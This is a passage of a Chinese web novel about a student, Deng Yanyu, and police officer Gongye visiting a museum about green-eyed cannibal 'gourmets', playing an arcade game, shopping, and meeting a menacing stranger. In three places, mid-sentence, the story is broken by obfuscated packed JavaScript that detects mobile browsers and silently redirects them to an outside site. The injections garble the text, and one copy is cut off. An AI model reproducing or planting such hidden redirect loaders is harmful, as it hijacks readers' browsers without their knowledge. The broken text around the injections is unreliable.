气死,谁做他女朋友谁倒八辈子血霉。 最后返回三楼,时针指向下午两点半,邓烟雨走进美馆的瞬间,灰暗的心情如春临大地,一扫而空。 美馆与其说是博物馆,更像一个科技展厅。大门口有一座和平鸽振翅的镂空雕塑,它形态比较抽象,一开始邓烟雨还以为是打上来的火红浪花。馆厅整体呈蔚蓝色调,连去往洗手间的指示牌都动感地凹着造型,绿豆眼的AI到处跑,和大小朋友互动,对答如流,隐藏地砖可以踩出带颜色的涟漪,孩子们最爱在上面乱舞,公冶同事说的赛博朋克风格大约是角落那块情景游戏区,也挤了一堆爱探索冒险的孩子。 都是大人带着孩子,来玩的。 “我也想玩,”邓烟雨眼馋地盯着游戏区,“居然还有坐矿车的副本,好羡慕小孩。” 虚拟的绿眼NPC指着一个孩子,说:【小智,快跟着我上吧!一起歼灭可恶的敌人们!】 小智:“好的赛洛斯!我来了赛洛斯!”说着端起枪歘歘歘扫射屏幕。 “好有趣啊,”邓烟雨想尝试又纠结,“会不会很难玩?” 公冶:“玩过和平精英吗?” 邓烟雨:“没有。” 公冶:“玩过植物大战僵尸吗?” 邓烟雨:“没有。” 公冶看她:“你的童年呢?” “我的童年是跳舞跳舞跳舞,”她自豪地说,“下腰可以抓住脚呢。” 公冶目露欣赏:“学的什么舞蹈?” “秘密,不告诉你!”邓烟雨摇摇他胳膊,“陪我玩好吗?” 那都是小孩子的游戏,公冶拉不下面子,迟疑片刻,说:“石头剪刀布,输了就……” “我不。” “那就不玩。” “不行,你是警察,要为人民服务。” “……”他无言以对。 “来嘛,一个人尴尬,两个人就不尴尬了,”邓烟雨连哄带骗拉他走,还没拉出几步远,就被一道声儿叫住:“影青?” 他们回头。 架着圆框眼镜,笑得绵里藏针,地中海啤酒肚,是馆长。 “好小子,你怎么来这了,哟这是……陪女朋友?” “不是。” “还说不是,我可不信。” 公冶让邓烟雨先看,并保证回来就带她玩游戏,走过去和馆长寒暄起来。 时机卡得真巧,不然她就诱拐成功了。 邓烟雨知道他要打交官场上的营生,管自己走了,东点点西瞅瞅,来到一台触屏机器前,这里记载着美食家的诞生史。 她一页页翻过去,才读了第一段,就震惊地瞪大了眼。 这些讯息,国家竟然公布了出来。 23. 伊连 美食家,学名饕,学术界称他们为绿眼人,是2078年8月20日在灯港病墟发现的异变人种。2066年,古南第三轮谈判于玫瑰港宣告破裂,次年,南陆联合冬岛、费邦两国向古洛发动了战争,南军侵占灯港十一年之久,严重污染了灯港血脉。 那时候的古洛如同一头垂死的病狮,巨大的躯体喘出的是炮火与黑烟,是人民破烂的哭喊声。直到2078年,国家收复故土,摘下了联军的白旗,而曾经山水磅礴的灯港到处锈着荒凉,灰尘覆盖油污,臭气养着遍野尸殍。武装部队与红十字清理战地时,在病墟防空洞中发现了41名幸存者,这些人眼眸幽绿,脸色惨白,瘦骨嶙峋,却可只手捏爆特种兵的脖颈。 他们没有记忆,国籍未知,只说:“带我回家。” 古洛以安置战俘为由,将他们带回首都关海区红十疗护院,期间发生过什么无从得知,只确定有一人偷跑了出去,为躲避搜查,他冒名顶替他人身份,混作普通人结婚生子,在女儿出生的当晚,直播吃掉了睡梦中的妻子,并向世界宣告——第一名“美食家”诞生了。 这人真名叫伊连,同年被执行死刑,其女儿下落不明。 次年,关海区红十疗护院被烧成白地,各地陆续爆发绿眼食人怪,古洛没有迎来渴盼已久的和平,反而堕进另一个不见天日的地狱。 也就是说,“美食家”这个称呼实际上是他们自行加冕的,而国家与他们从追捕到抗争再到谈判,至2081年才以一纸公文向世界宣布他们的存在。 所以为什么抵美协会的“白蚁”能爬满社会各个夹缝。从最初起,国家就坚决抵制绿眼人入侵,他们会蚕食一国文明,接纳他们只是无可奈何的下策。 邓烟雨手心捏出一片冷汗。 南军控制灯港的十一年里,到底秘密做了些什么? 那四十一个人到底流的是何国血脉? 古洛是因为杀不了也驱逐不了美食家,所以才决定带回首都安置?如果不带他们回首都,伊连食妻事件是否也就不会发生? 错真的在这四十一个人身上吗? 一连串问题如洪水猛兽过境,遵从大脑本能的判断,指向那句话——“带我回家。” 既然已经兴修美馆将细节公之于众,或许,国家只是希望大家不要一味憎恨美食家,他们也承受着同等伤害。 抵美暴行虽已结束,可二十年前,人们并没有把抵美运动称作暴行,这在当时是一个政府默许、民众支持、被世界拭目以待的除害运动。 没有人在乎那一双双惊惧绝望的绿色眼睛为何流泪,为何猩红,没有人在乎他们吃了几口肉,他们本就该死,不吃也该死。 邓烟雨心乱了,突然想,如果公冶出生在那个时代,他会被怎样对待? 边上不合时宜地来了句:“恶心的肉畜,我们就是对他们太好了。” 隔壁站着两个男的,也在嗖嗖滑资料:“依我看,他们不是南陆的间谍就是冬岛的走狗。” “你咋不说费邦?” “笑死,费邦什么货色,提鞋都不配,什么小国小家想来打咱们,先他妈和南陆较量上再说吧。” “哎哟喂,把你牛的,你谁啊,元首流落在民间的皇位继承人?” 他们哈哈大笑,邓烟雨有点反感,快步离开,去找公冶。 公冶就在不远处和馆长闲聊,邓烟雨看见他笑了。 他笑的次数不多,至少对邓烟雨而言,不多。 对老爷爷能笑,对我就不能再多笑点吗?还有,天天“邓烟雨邓烟雨”的全名叫我,像在喊犯人…… 邓烟雨不明白自己干嘛要去吃一个年近百半的秃头叔叔的醋,她看着公冶谈笑风生的样子,越发不高兴,扭头走了。 【各位游客好,这里是美食家图鉴大赏基地,欢迎参观了解】 她来到馆厅的幻影成像区,许多图鉴模型通过全息投影浮在空中,邓烟雨轻轻点击一支银色针管,针管随着她的手指灵敏地旋转,长按之后旁边显示一栏介绍—— 【镇血剂,特殊不锈钢及玻璃材质制成的细长针管,通称“小银管”,针筒内添加含抗凝物质及巴比妥类药物的纯人血,起到镇静麻醉作用,对变异、暴异的美食家及时进行注射,可以最快速度压制暴动,素食美食家一周至少要注射一次镇血剂,否则容易矫枉过正,突发变异。】 素食美食家?就是公冶警官那样的?不怎么吃肉。 “哇,这是什么可爱的叫法,小银管,和口红名字一模一样。” 有两个女生在兴奋地探讨,邓烟雨记得她们,是挪车挪半天的那对polo女孩。 介绍栏下面以小字带了句市场上正规售卖的小银管,5cc-20cc不等,一支就要上百块。 公安GS每月免费发放镇血剂和点心,点心就是肉,美食家自愿领,不要就直接兑换成镇血剂进行补充。 福利真好,百来块的东西一盒一盒当白菜大甩卖地随便发。GS还大方展陈了止咬器、电击圈、限制手套、指铐、特制审讯椅之类的专用戒具,实物摆在柜子里不给摸,只能划拉划拉模型解馋。 “这种玩SM一定很爽吧?” “啧啧,你在想什么啊——不过我也好期待吼吼吼。” 邓烟雨和那对polo女孩同一节奏浏览过去,边看边听她们聊龟甲缚、捆绑play、安全词……打开了新世界的大门。 原来还可以这么用…… “你知道吗,美食家也有发情期,就是公美特训得好,不太能看出来。” “我老公又不是公美啦,我没听他说过。” “他瞒着你呐!你问问,他自己心里肯定有数的,你不是最近备孕么,就等那个日子,到时候你让他戴着止咬器,蒙着眼,跪在……” 啊啊啊啊啊什么?她们在说什么?不能再听了!不然晚上睡觉满脑子都是公冶警官跪在我脚下的画面太少儿不宜了! 邓烟雨CPU负载了,脸红得像刚蒸过桑拿,速速远离了她们,差点和一台瞎溜达的检索机撞了个满怀。 检索机以为有人要找自己问问题,出声:【我是帕帕,有什么想知道的都可以搜我哦~】 性格和蛋宝有三分像。邓烟雨点击搜索栏,下面跳出一些搜索记录,有人忘记删掉了。邓烟雨无聊地去翻底下的搜索记录,其中一条是—— 【美食家喜欢情趣内衣吗?】 邓烟雨:“…………” 现现现在的年轻人脑子里在想些什么! 她心里骂得义正辞严,手却很诚实,戳了一下这条搜索记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579276|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 答案是【抱歉,暂不明确,请搜索帕帕知识领域内的相关知识哦~】 “……” 对嘛,她就知道。 邓烟雨尴尬地呵呵两声,同时为自己这颗污浊的心灵敲了三下木鱼。 【小心,有物体在超速靠近您】 一只白鸟气球从眼前飘过,空调风吹着它,在帕帕眼里属于超速。 “姐姐帮我抓一下!” 邓烟雨伸手一抓,没抓到。 小孩只好继续追气球,眼见它飞向上空的影像红光里,有点高了,邓烟雨也爱莫能助,这时有个美食家跳起来帮他一把抓住。 小孩满脸兴奋,不是接过气球,而是求美食家哥哥再跳一次,女生见男朋友不知所措,笑得合不拢嘴。 果然来这的小孩都不怕生。 邓烟雨望着他们,脑海中突然闪出一幕冷冷的回忆,一幕鲜血淋漓夹杂着枪响的回忆。 她再次转过身,点击搜索框。 合住眼,努力回想殴打父亲的军士…… 他们不像军人,一窝蜂堵在门口,更像强盗,像恶势力组织,和那只升进红光区的白鸟气球一样,给人深深的诡异感。 快想起来,他们身上有什么标志性的东西…… 肩章? 四岁的记忆如春水上的残烬浮冰,零散模糊,都是些细枝末节。 她打算从头梳理,明知这段回忆会勾起不愉快。从伏着虫影的昏黄灯盏到雪白军服傲立在低矮的门口,从父亲驼下去的背影到压抑的痛哼,记忆如波子汽水里滚动的弹珠,一颗一颗灵活地连起来,金属的触感再一次沉甸甸回到手上,冰冷的,坚硬的。 邓烟雨眼皮一颤。 ……记起来了,她从父亲的抽屉里拿出那把偷瞧过无数次的枪,冲出卧室,推套筒,上膛,对准他们,扣压扳机—— 砰! 虎口震得隐隐发麻,小小的她被这一枪反冲,滚倒在地,邓烟雨吃惊地睁开眼。 是啊,当时她开枪了,她为了救爸爸,向那些人开枪了。 父亲独自一人在林子里练枪的动作,神情……她都记得。而那颗子弹,钉的一声,正好射在某位军士的胸徽上—— 是一枚赤红耀艳的飞鸟胸徽。 邓烟雨在搜索栏输入:【红色飞鸟胸徽】 检索机反应一阵,列出“美食家对鸟肉的接受程度”、“美食家吧唧!最美徽章!大爆款谷子!”、“美食家为何钟情红色?血液的奴隶?”等不贴边的答案。 不对。邓烟雨点开一个,关掉,再点开,再关。 难道查不出来? 她抓抓头发,四处看看,正好看到了那座和平鸽振翅雕塑。 她索性把近义词都输入进去: 【军人,白制服,徽章,红色,红鸟,鸽子,红鸽子】 检索机对这堆关键字继续反应,这一次它加载得很慢很慢,像卡了,接着画面以正常速度跳转,弹出一句话,摊在邓烟雨眼底—— 【抱歉,禁止搜索国家法律法规严禁敏感信息及词汇。】 邓烟雨冲着这行字,呆住了。 也在这时,一只手轻轻拍在她的贝雷帽上,邓烟雨回头,见公冶正站在自己身后:“在看什么呢,这么专注?” 24. “恶魔” 趁他的视线还停留在自己脸上,邓烟雨放在检索机上的手飞快一划,退回原始界面,随即转身面向公冶。 “我……我看到有美食家说自己做梦变成鸟。” 邓烟雨不擅长撒谎,撒谎的对象还是警察,所以更显生硬了,明明想凭借自己登峰造极的演技蒙混过关,可身上没有一根毛愿意配合。 她眼神躲来闪去,马脚尽露,像小学生提着公文包跑到大企业上班——努力在装:“变成了红色的鸟,好神奇的梦啊,哈哈。” 常年奔走一线阅人无数,公冶不用眼睛看,就知道她在紧张,不过他无意拆穿邓烟雨。 “是么,”他顺着她往下说,“我也梦到过,北美红雀。” “北美红雀?” “就是愤怒的小鸟原型。” “喔……”邓烟雨恍然大悟,拘谨地迎合,“这游戏我倒玩过……” 公冶的手从口袋里拿出,捏捏她的脸:“干嘛那么紧张?Rex。” 邓烟雨抬起头,与他不具攻击性,甚至带了点宽和的目光相触,满心的焦躁不安消散了,她呆呆开口:“你是不是想说……Relax?” 空气安静。 公冶自己都忍不住,笑了。 邓烟雨见他笑了,也跟着笑,点了笑穴似的鹅鹅鹅笑弯了腰:“好——好老套的梗啊哈哈哈哈——你从哪看来的——” “喜剧综艺,《喜人》看过吗?” “看过,”邓烟雨擦擦泪,“我差点把你幻视成我妈了,我妈英语不好,总是把WiFi念成wife。” 她永远不会忘记她亲爱的老妈举着个手机问店员:“你家wife多少?”而店员即便一脸茫然也还是会老实回答:“我家wife就一个。” “像是金阿姨会干出来的事。” 昨天视频通话暴露后,金曦特意等公冶开完会,和他聊了一会儿,一开始邓烟雨还担心妈妈要为难人,谁知金曦一看到公冶就笑成了花。 等公冶离开,邓烟雨才不满地质问:“干嘛非要找他说话,你看你咄咄逼人的样子,都逼得他跟你道歉了。” “他就是该跟我道歉,拐跑我女儿还不道歉?” 金曦说归说,终究是心虚的。毕竟整个视频过程中,公冶和自己女儿虽然坐在一起,但始终保持着一个正常社交距离,结果没聊个几句,邓烟雨就下意识朝他那边蹭过去,再蹭过去,最后近得肩膀贴肩膀,她眼睛也黏在他脸上,看镜头的次数屈指可数。 饿虎扑食,她女儿才是那只虎啊。 “算了,看在他声音像MAMO的份上,我同意了。” 邓烟雨发现了,MAMO在金曦那是万能的,而声音相似的公冶渡莲也成了特别的存在。她心里欢喜。 公冶略微俯身,问她:“现在还紧张吗?” “不紧张了,”邓烟雨笑得脸红,后知后觉地摸摸自己的脸蛋,“公冶警官你刚刚捏我……” “就捏一次。” 她脸更红了。 “走吧。” “嗯。” 邓烟雨暂时不去纠结以前的事了,抠着挎包带子,快步跟上他。他步伐不停直奔游戏区,邓烟雨愣住:“这是要……?” “不是说好要玩游戏么?”公冶虽然不情愿,但答应了就会做到,“就玩一局啊,我技术菜。” “好!” 正好小孩们呼啦一片撤光了,免去一趟社死。俩个成年人活像抢劫芭比钻石城堡的江洋大盗,大剌剌坐在了稍显娇小的游戏座椅上,公冶按下中间的红色大按钮,NPC赛洛斯舞了一出绚烂的华尔兹全年无休出来营业了。 他宛如一阵龙卷风,画风华丽地怼到他们脸前,一双湖水绿的狐狸眼,留着时髦的金卷发,打了个响指:【嗨,我勇敢的战士们!最近过得怎么样?】 公冶面无表情,邓烟雨天然呆地眨巴眼,戳了戳赛洛斯美丽的数据脸,手指可以透过去。 没人回答他。 【我过得不太好!奥兰大陆遭遇了史无前例的危机!邪恶的卡德内军团袭击了我们的家园,我需要你们的帮助!勇士们,快来加入战斗吧!】 说完,上方有个红点闪动,大屏幕跳出创建角色信息,他俩都是天赋异禀的取名鬼才,选了一男一女双人组合,昵称小帅和小美,队名叫卡德内军团。 赛洛斯见了这队名,估计半夜要爬起来骂娘。 随后蹦出六七个地图,NPC让他们挑选副本。 公冶按着键选过去:“你要打哪个?龙巢的?” “龙巢五颗星,应该是最难打的,”邓烟雨看中左下角的泡泡地图,小八爪鱼在游动,有些可爱,“我们打海底世界吧,这个最简……” “打龙巢。” “……诶?!”邓烟雨大吃一惊,“确定吗,你不是游戏小白吗?” “谁和你说我是小白,”公冶笑得略邪,“我只是打得菜。” 邓烟雨:“……” 这话看似冲突,仔细一想,好像也没有哪里不对? 龙巢副本是真难,过关的没几组,邓烟雨觉得肯定要死翘翘,一会还得安慰输给儿童益智游戏的警官大人,男人嘛,毕竟好面子。 一进关卡,屏幕霎时黑了,他们身临其境地闯入一个钟乳石洞窟,乘坐炮坦的哥布林和一堆密密麻麻的机甲虫沙沙涌出来,邓烟雨还没来得及恶心,公冶不知道按了啥,区区一只单机手柄喷射出几十挺冲锋枪的威力,哥布林“杀呀”的台词还没嗷出口,分分钟血溅当场死不瞑目,满地吱吱蹿的胖扁节肢虫尸体也被他骚操作地扫到了一个点位上,黏糊糊地堆成一座山。 邓烟雨震惊得张大了嘴巴,赛洛斯在一旁尖叫得像个死忠粉,说他刷新了第一关纪录,要奖励他一个飞吻,被公冶躲开了。 “挺好操作的,你就按A,怒气攒够了灯会亮,记得拍,”公冶一只手托着下巴,目光没有丝毫波动,“跟着我,我扫哪你扫哪。” 邓烟雨瞪着他的手,脸色更惨白了。 他!居!然!在!单!手!打! 他真的是菜鸡吗?! 男人的嘴骗人的鬼啊! 邓烟雨压力巨大,感觉身边坐了个创世纪恶魔,不过公冶教官带得好,邓学员到第二关尾巴就摸通了关窍,两人正式沉浸进去。邓烟雨逐渐玩嗨了,在位子上动如脱兔,疯叫如狗,公冶起初还冷静,后来被她带过去了,游戏区就全部是他们“你等等我啊”、“怒,你可以怒了!”、“我的我的”、“啊啊啊蝙蝠撞过来了!”的激情喊话。 在他们穷凶极恶的输出下,巨龙都喷不出火了,断翅滚下岩浆沸腾的深渊。 大大的WIN伴随着赛洛斯的狂欢飞过头顶。邓烟雨激动地甩掉手柄,和公冶举起的手来了一记清脆的击掌:“公冶警官你好棒!我们积分排名第一!总榜第一!哇塞!你太厉害啦!” 公冶嘴角的笑意尚未成形,就定住了:“这游戏还拍照留念?” 赛洛斯把他俩的头像挂到了榜首,是两张成年人击掌时的笑脸,还欢呼着洒花花:【恭喜恭喜!你们简直是最佳拍档!灵魂眷侣!天作之合!我赛洛斯一辈子也不会忘记你们!】 公冶也一辈子不会忘记他。 挂就挂吧,虽然挺丢脸的,但是—— “打得开心吗?”公冶放下手柄去看邓烟雨,她正拿出手机把羞耻的榜首头像拍下来,跺着脚说:“开心!公冶警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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像只炸了毛的小黄鸟。公冶心想。 “我也经常丢三落四,但和你比起来还是略逊一筹。” “少取笑我……”邓烟雨两颊浮现淡淡的粉红,延去耳根。她将检测仪戴到手腕上,光点亮了,呈现橙色。 “去哪个超市?”公冶发动汽车,问。 这里离东一区的新座不远,邓烟雨提议去那。公冶观察她腕部橙色的光,犹豫片刻说:“测一次,数值在90左右就去新座。” 测出来是92.6。 “比昨天还低,”邓烟雨笑了,“走吧走吧,我还想吃火锅。” “还要在外面吃晚饭?”公冶这回是真担心了。 “我保证六点前撤退,”邓烟雨使劲央求,“多留一分钟就罚我期末考试挂科!” 这个惩罚太狠了。 公冶容易心软,只好答应:“那你自己关注数值,没事就测一测,超过一百就回家。” “好!”邓烟雨身后要有尾巴就甩成螺旋桨了,一开心,把没封口的护手霜又挤出老大一坨,“……” 他头一转,当做没看见。 她好委屈,递给他:“你帮我分担一点。” 公冶伸出手背,分担了一点,可她那里还有很多。 “你再帮我分担……” “自己涂。” 邓烟雨噘了个嘴,勤勤恳恳涂了半天,见他也还在涂,抠了一坨,往他脖子上一抹。 冰凉的,带着中性香气。 公冶拿她没辙,刚要抬手,邓烟雨说:“我来。” 她的手在他颈侧来回涂抹,从喉结摸到接近锁骨的位置,慢慢不动了。 公冶疑惑:“好了吗?” 温润明亮的嗓音轻震着她的掌心。 “好了。” 邓烟雨收回手,心跳却收不住。 轿跑引擎一响,马力全开,往首都顶级繁华商圈——新座驶去。 25. 你就宠她吧 天色尚早,新座的大街还没堵到需要武警拉链式人墙出阵。 邓烟雨吃着公冶放在车里的水果软糖,还剩最后三颗,她问:“你甜食吃多会不会对身体不好?” “会,”公冶目视前方,直言不讳,“而且会非常不好。” “那我帮你吃掉了。”她拿起来全倒嘴里了。 新座C区有家大型超市,公冶往那开了。数不清的车辆鱼贯而入往地下停车场的兽口钻去,公冶等道闸抬起后,说:“再拆一包吧。” “你要吃啊?” 他居然不开心了:“但凡给我留一颗呢。” 邓烟雨跟纣王宠妲己似的,给他又拆了一包,是荔枝味的:“我先吃,最后留三颗给你。” “五颗。” “太多了,四颗,”邓烟雨说,“明知对身体不好,还吃,我听说美食家很少吃糖,难道公美可以每天吃甜食吃到饱吗?” “公美每个月有禁糖期,为了体测弄出来的一个政策,我每次过了禁糖期就会报复性吃糖,戒不掉。” 坏习惯被他说得理直气壮。邓烟雨无奈笑着:“那我来监督你,你最近刚过禁糖期吧?” 负一层停满了,公冶朝负二层开去,侧过头,似笑非笑看邓烟雨:“你还想监督我?” 邓烟雨不知哪来的自信,认为他会甘心受她管教:“乖乖听我的话,我就做你喜欢的菜给你吃,你有很想吃的菜吗?” “糖醋鱼。” “……”没救了。 美食家对肉类格外挑剔,鱼肉倒成了他们大势所趋的“主食肉”。 偏偏邓烟雨不擅长吃鱼,她小时候一吃鱼就卡刺,有一次严重到医生完全找不出那根刺,说大概掉食管里了,要去大医院开刀取,把金曦吓得一巴掌拍在她背上,活活呕了出来。 自那天起,邓烟雨与鱼结仇了,邓家的餐桌上也长年不见白肉,嘴痒了就烧龙利鱼或鳕鱼。金曦偶尔怀念鲫鱼豆腐汤,让邓忠云去炖,邓烟雨也只能在边上嗅嗅,喝点豆腐汤。 就这样,她都能从汤里喝出鱼刺。 以后和他吃不到一块去了。 邓烟雨垂头丧气下了车,他们恰巧停在商场电梯厅附近,车辆和人群在宽敞的过道上穿梭,公冶没注意她在烦恼,朝车头下方的车位编号拍了张照,路痴的他怕等会回来找不着车。 超市在商场的负一层,他们乘扶手电梯上去比较方便,结果两个人一个不仅没方向感也没楼层意识,另一个陷在“我吃不了鱼我的舌头好没用呜呜呜”的巨大悲伤里,都没注意层数,乘着乘着他们来到了一楼。 那就逛逛吧。 香水味包裹整个商场,邓烟雨仰头,注意到二楼有一家饰品店。 “我想去那看看,”她指着说,“买个发箍。” 进了饰品店,她才发觉大事不妙——有好多小情侣。 邓烟雨直奔头饰区,奇形怪状的头箍挂在展示架上,她在小青蛙头箍和普通头箍之间犯起了选择困难症。 她猜他大约不喜欢这里的气氛,想快点挑完走了。 邓烟雨迫不得已,把贵的青蛙头箍放回去,拿着最便宜的转身离开,公冶站在边上,目不转睛盯着一排饰品。 他在看什么呢? 凑近一瞧,架子上挂满了卖相精致的糖果色花朵发夹,包装壳印着超火的联名卡通角色。 公冶没有说话,把一只小花发卡取下来,比在邓烟雨发边。邓烟雨感受到他的认真,当即不敢动了,任由他发挥,期间还小心翼翼观察他一眼。 紫色小花衬着她雪白的鹅蛋脸,乌黑的天然卷发,十分明媚动人。 公冶说什么也不会犹豫了:“挺好看的,买了吧。” “这个很贵的,”邓烟雨再喜欢,也必须说,“这是酷可丽联名款,酷可丽的东西超贵,你看看价格吧。” 公冶翻过硬卡纸一看,背后标价:59.9元 邓烟雨倒吸一口凉气。 她以为三十块钱顶多了,这么一朵破花居然要六十块钱,抢劫啊?! 原以为公冶也会跟着吐槽,然而并没有,他问:“酷可丽是什么?” “一只会魔法的打工小黑猫,穿紫色背带裤。” “哦,我记得它随便一个塑料水杯都要三百块。” “是呀,超贵的,咱不买了。” 公冶没听邓烟雨的话,把剩下的酷可丽小花每种颜色各拿一个,又相中了隔壁的发绳和发带:“这个喜欢吗?” 精心编织的蝴蝶结紫色发绳,亮晶晶的猫猫头,印着骑流星的酷可丽,邓烟雨喜欢得冒泡:“还、还……” 公冶看她。 邓烟雨摊牌了:“喜欢。” 他就梅开二度扫光了所有颜色的发绳和发带,目前手里一共六朵花,一捆五彩缤纷的发饰,他说:“青蛙发箍你不要吗?” “那个发箍也很贵。” “喜欢就拿了。”公冶二话不说把毛绒绒的青蛙发箍也收入囊中,还拿过她手里的发箍,直奔收银台。 “公……公冶警官……这个……”邓烟雨受宠若惊,追在后头,看看他满手可爱不已的小玩意,再看看他,高大冷静的男人抓着这种反差萌的东西,一下子击中了她的心,“确定吗?你确定吗?真的超贵。” “没事,我来付。” 啊好个多金的男人,花钱跟撒鸡饲料似的,真是让人欲罢不能! 一大堆闪瞎的猫猫,加上两个发箍,共计648.8元。哪个冤大头会在小饰品店买成这个狠样,堪比团建大采购了,公冶不管收银员瞟他的眼神,临危不乱出示付款码,邓烟雨像只安静的小猫崽依靠在他身边,听见后面排队的女生羡慕地嘟哝了声:“酷可丽联名全买了,真豪啊……” 是吧是吧!有钱,有钱没处花!真叫人没办法! 邓烟雨心里重重附和着,嘴角快扬到天上。 “戴一个吧。” 走出饰品店,公冶拆了一朵紫花给她,邓烟雨摘下贝雷帽,随手卷一卷塞进装饰品的塑料袋里,凭感觉往头上戴:“唔,好像不行,看不到……” “我来。”他们靠边,公冶接过紫花,往她头上绣花一般绣上去,虽然从没给女孩戴过发夹,但他误打误撞,卡的位置刚刚好。 不远处正好有个不锈钢翻盖垃圾桶,邓烟雨乐颠颠跑那照了一下,公冶人都傻了,垃圾桶都能给她当镜子? 邓烟雨没顾那么多,她心情简直太好了,今晚做梦都要笑醒。等回去,她要把小花发夹轮番戴一遍给他看。 来到负一层大超市,他们才开始今天的主线任务。 公冶家的大冰箱比他那三件套客厅还干净,若有杰瑞误入,相当于是把自己发配宁古塔了。邓烟雨从生鲜区转悠到冷冻区,硕大的红柚、琳琅的草莓、速冻水饺、新鲜蔬菜、以及她筹谋良久想焖一锅红烧肉于是买了半斤猪肉,狂装了十几袋。公冶犹如一名黑衣执事,跟在女主人后头负责推车,随着一打打鸡蛋放进来,他深感车子越发寸步难移,垂眸冷冷望着即将溢出来的食材,说:“这是要世界末日了吗?” 邓烟雨也一改常态,冷冷回他一句:“你想不想吃糖醋鱼了?” 那人立即乖乖闭嘴。 邓烟雨打算回家顺路去菜市场买条鱼,忽略了标着“冰鲜北海道红毛蟹”的吊牌,穿出潮湿的海鲜区。 走走停停,来到人少的地方,她指着每日坚果,说:“你喜欢吃坚果吗?” 公冶:“不能吃,一吃就上火。” “这样啊,”邓烟雨并未唉声叹气,反而觉得他忌口的点虽然多,但莫名得好玩,一样一样问过去,“冰淇淋呢?” 公冶:“不能吃,和狗不能吃巧克力一个道理。” 邓烟雨忍住笑:“蘑菇呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579278|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>公冶:“不能多吃,会产生幻觉。” “牛奶呢?” 公冶:“不能喝,会严重腹泻。酸奶可以。” “酒呢?” 这个,他不知该如何开口。 美食家喝醉会有性需求,因此公美严禁过度饮酒,喝醉等于迈步红灯区,以前被查实酒精发情的公美即便没有犯错,也都是被开除的。 除非是双方自愿,像夫妻之间就不必在乎喝不喝醉,当然,和酒沾边的事都要在工作日以外发生。 公冶说:“能喝,就是不可以喝醉。” “为什么不可以喝醉?” “喝醉了会胡来。” “怎么胡来?” 公冶的目光定在她身上:“你想的那种。” 邓烟雨更好奇了,她想的是发酒疯脱衣服,领带绑头上。 超市工作人员在零食货架前理货,顾客也在这条通道上借过,即兴上演了一局碰碰车大战。 邓烟雨挑了一袋柠檬夹心巧克力,还有一盒酒心,当着他面丢进购物车,她是准备自己享用的:“啥都不能吃,好可怜噢。” 公冶将计就计地服软:“所以可怜可怜我,烧条鱼吧。” 邓烟雨欣然一笑:“为师考虑考虑。” 迎面走来一伙年轻人,三五成群,邓烟雨看见他们,笑意消失,一把攥住公冶连人带着泰山重的推车,躲进他们的视野盲区。 公冶被她这么一拽,险些要扑到邓烟雨身上,好在他反应迅速撑住货架不至于朝她压去。 “怎么了?” 邓烟雨盯着那群人勾肩搭背,笑哈哈地走过。 那是她同班同学。有她以前的室友,和几个男生,经常欺负她。 “没事,走吧我们去那。”邓烟雨拉着他,火急火燎往反方向逃。 没人的地方异常安静,公冶手机来了消息,在低头回,邓烟雨抓着两包挂面挑选中,听公冶说:“我去买酸奶,马上回来。” “好的,帮我带一瓶大果粒,要芦荟味的。” 公冶应了,留下购物车离开。邓烟雨找到了平常爱喝的八宝粥,有她喜欢的椰奶燕麦口味,不过放在了最上面。 她伸手去够。 哦天呐,放得好高。 邓烟雨踮起脚,五根手指头伸得老直了。 差一点,差一点就要碰、到、了。 小小一只的她相当努力,左脚都翘了起来。胜利在望,邓烟雨一鼓作气要跳起来,忽然,一只大手出现,率先拿到那瓶八宝粥。 邓烟雨眼睁睁看着八宝粥被人拿走,回过头,却见对方没离开,而是将八宝粥递给了她。 原来是帮忙的。 “啊,谢谢。”邓烟雨感激地道了谢,并且仰起头去看…… 他。 来人西装革履,香气袭人,腕表遮住了略显暴力的筋脉,如钻石耀眼的秒针走着静谧的、压抑呼吸的声音。 他是邓烟雨从未见过的一类人,不该出现于此的上层人物。领带和发型皆打理至一丝不苟,英俊得不真实的面庞带了点异国风情,水绿的狭长眼眸撕裂着清浅的光,竟透出含情脉脉的意味来,无限包容地凝视着她。 他往前一步,尖头皮鞋对准了她的小白鞋。邓烟雨无法思考,右手腕本能地藏到身后,检测仪的橙光诡异地静闪着。 水绿的眼睛。 是顶级…… 顶级美食家。 他没有动,可一股无形的压迫感如巨石压住胸口,刺激猎物肌肉紧缩、崩溃逃窜。他以赏玩的姿态,游刃有余地释放气息,是浓烈的雄性气息,宛如一条钩刺的毒蛇咝咝游出,冰凉地绞死了邓烟雨最后一点呼吸。 他非常绅士,即便他是个毒物。 邓烟雨害怕得无力呼救,像只受到了极大惊吓的幼鹿,体内疯淌着恐惧而麻痹的激素,仓皇一退,撞在了货架上。 26. 理事 货架上的食品晃荡了一下,没掉下来。 邓烟雨的肩胛骨磕到了硬邦邦的钢架,但料想之中的疼痛并未传来,她畏怯地睁开眼,往后瞥去,男人的手塞在货架与她身体之间,而她被笼罩在他不可丈量的阴影之下。 陌生的香水味龙盘虎踞缠绕着她,与公冶大相径庭的成熟男子气味霸道地占据整个鼻腔。 邓烟雨难受得头晕。 